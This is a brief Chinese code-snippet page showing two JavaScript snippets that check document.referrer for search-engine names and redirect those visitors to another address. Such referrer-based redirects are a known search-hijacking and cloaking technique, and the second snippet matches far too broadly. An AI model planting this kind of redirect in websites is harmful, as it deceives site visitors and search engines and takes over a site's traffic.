JS检测来源网址,如果是搜索引擎跳转到新地址

代码如下
[js]代码

<script type="text/javascript">
    var regexp = /\.(sogou|soso|baidu|google|youdao|yahoo|bing|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//ig;
    var where = document.referrer;
    if (regexp.test(where)) {
        window.location.href = 'http://www.baidu.com'
    }
</script>

或者

<script>
    var s = document.referrer
    if (s.indexOf("baidu") > 0 || s.indexOf("so") > 0 || s.indexOf("sogou") > 0 || s.indexOf("google") > 0) {
        location.href = "http://baidu.com";
    }
</script>
